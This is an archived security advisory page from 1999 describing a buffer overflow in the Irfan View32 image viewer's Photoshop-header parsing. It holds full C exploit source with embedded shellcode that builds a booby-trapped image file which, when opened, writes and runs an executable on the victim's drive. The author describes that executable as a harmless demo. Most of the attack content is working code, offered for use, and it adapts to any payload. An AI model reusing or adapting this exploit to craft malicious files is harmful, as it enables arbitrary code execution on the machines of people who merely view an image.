exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

irfan.view32.txt

irfan.view32.txt
Posted Nov 8, 1999
Authored by Unyun | Site shadowpenguin.backsection.net

The popular Image viewer "Irfan View32" contains the buffer overflow problem, this problem exists in the handling of Adobe Photoshop image file. Irfan view checks the image type by the image header, if "8BPS" pattern is found in the header, Irfan view judges this file as Photo Shop image. The overflow happens at the handling of reading this marker. Exploit included.

tags | exploit, overflow
SHA-256 | 32bee5886fcf4b58ffe13ffdb75e2d80473d3015c25b82a34a4588b95cb22541

irfan.view32.txt

Change Mirror Download
The popular Image viewer "Irfan View32" contains the buffer overflow
problem, this problem exists in the handling of Adobe Photoshop image
file. Irfan view checks the image type by the image header, if "8BPS"
pattern is found in the header, Irfan view judges this file as Photo
Shop image. We think the overflow happens at the handling of reading
this marker.

You can see the GPF dialog box by the following file.

8BPSaaaaaaaaaaaaaa .... long 'a'

#You can make this file by notepad.exe

This overflow is exploitable if the appropriate value is stored in the
stack area, any codes such as virus, trojans, destruction code, which is
stored in the image file can be executed.

This fact means that the danger also exists on downloding the image
files and viewing them. Of course, there is a possibility of such danger
also in other software such as movie players, audio players. We coded
the following sample codes. This code generates the jpg file which
contains the exploit code that generates "exp.com" in "c:\" and executes
it("exp.com" is a simple demo program, there is no danger).

This is tested on Japanese Windows98 only.

---
/*=============================================================================
Irfan View 3.07 Exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/

#include <stdio.h>
#include <string.h>
#include <windows.h>

#define MAXBUF 0x22e0
#define RETADR 0x31E
#define FAKE_ADR 0x80101010 // Writable buffer pointer

#define JMPESP_ADR 0xbffca4f7 // You have to change this value
// for non-Japanese Windows98.
#define HEAD "8BPS\0"

unsigned char exploit_code[300]={
0xEB,0x4F,0x5F,0x32,0xC0,0x88,0x47,0x0A,0x88,0x47,0x10,0x88,0x47,0x17,0x88,0x47,
0x1E,0x88,0x47,0x23,0x88,0x47,0x26,0x88,0x47,0x2D,0x88,0x47,0x3C,0x57,0xB8,0x50,
0x77,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xDB,0xB3,0x0B,0x8B,0xC7,0x03,0xC3,0x50,
0x56,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xC8,0x33,0xDB,0xB3,0x24,0x8B,0xC7,
0x03,0xC3,0x50,0xB3,0x32,0x8B,0xC7,0x03,0xC3,0x50,0xFF,0xD1,0x89,0x47,0x2E,0xEB,
0x02,0xEB,0x71,0x33,0xDB,0xB3,0x18,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xC8,0x8B,0x47,0x2E,0x50,0x33,0xC0,0xB0,0x03,0x90,0x90,
0x50,0xB0,0x01,0x50,0x33,0xDB,0xB3,0x3D,0x03,0xDF,0x53,0xFF,0xD1,0x33,0xDB,0xB3,
0x11,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0x5F,
0x2E,0x53,0xFF,0xD0,0x33,0xDB,0xB3,0x27,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,
0x6E,0xF7,0xBF,0xFF,0xD0,0x33,0xDB,0xB3,0x32,0x8B,0xCF,0x03,0xCB,0x51,0xFF,0xD0,
0x33,0xDB,0x53,0xB3,0x1F,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,0xF7,0xBF,
0xFF,0xD0,0xFF,0xD0,0xE8,0x39,0xFF,0xFF,0xFF,0x00
};

// "exp.com"
unsigned char exploit_data[1000]={
0xb0,0x13,0xcd,0x10,0xb0,0x0f,0xfe,0xc0,0xb4,0x0c,0xcd,0x10,0x03,0xd1,0x41,0x3c,
0x20,0x77,0xf1,0xeb,0xf1,0x00
};

int GetProcAddress_fcp[4]={0x32,0x5e,0x88,0xbc};

char string_buffer[1000] ="msvcrt.dll_fopen_fclose_fwrite_exit_wb_system_****";
char filename[100] = "c:\\exp.com";

main(int argc,char *argv[])
{
unsigned char buf[MAXBUF],l1,l2;
unsigned int ip,p1,p2,i;
FILE *fp;

if (argc<2){
printf("usage : %s outputfile\n",argv[0]);
exit(1);
}
memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
memcpy(buf,HEAD,4);

ip=JMPESP_ADR;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[RETADR+6]=0xeb;
buf[RETADR+7]=0x04;

ip=FAKE_ADR;
buf[RETADR+8]=ip&0xff;
buf[RETADR+9]=(ip>>8)&0xff;
buf[RETADR+10]=(ip>>16)&0xff;
buf[RETADR+11]=(ip>>24)&0xff;

p1=(unsigned int)LoadLibrary;
p2=(unsigned int)GetProcAddress;
exploit_code[0x1f]=p1&0xff;
exploit_code[0x20]=(p1>>8)&0xff;
exploit_code[0x21]=(p1>>16)&0xff;
exploit_code[0x22]=(p1>>24)&0xff;

for (i=0;i<4;i++){
exploit_code[GetProcAddress_fcp[i] ]=p2&0xff;
exploit_code[GetProcAddress_fcp[i]+1]=(p2>>8)&0xff;
exploit_code[GetProcAddress_fcp[i]+2]=(p2>>16)&0xff;
exploit_code[GetProcAddress_fcp[i]+3]=(p2>>24)&0xff;
}

l1=strlen(filename)+strlen(string_buffer);
l2=strlen(exploit_data);
strcat(string_buffer,filename );
strcat(string_buffer,"_" );
strcat(string_buffer,exploit_data );
strcat(exploit_code, string_buffer );
exploit_code[0x1c] = l1;
exploit_code[0x6d] = l2;
exploit_code[0x77] = l1+1;

memcpy(buf+RETADR+12,exploit_code,strlen(exploit_code));

if ((fp=fopen(argv[1],"wb"))==NULL){
printf("Can not write file '%s'\n",argv[1]);
exit(1);
}

fwrite(buf,1,MAXBUF,fp);
fclose(fp);
printf("Done.\n");
return FALSE;
}

-----
UNYUN
% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
shadowpenguin@backsection.net (webmaster)
% eEye Digital Security Team [ http://www.eEye.com ]
unyun@eEye.com


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close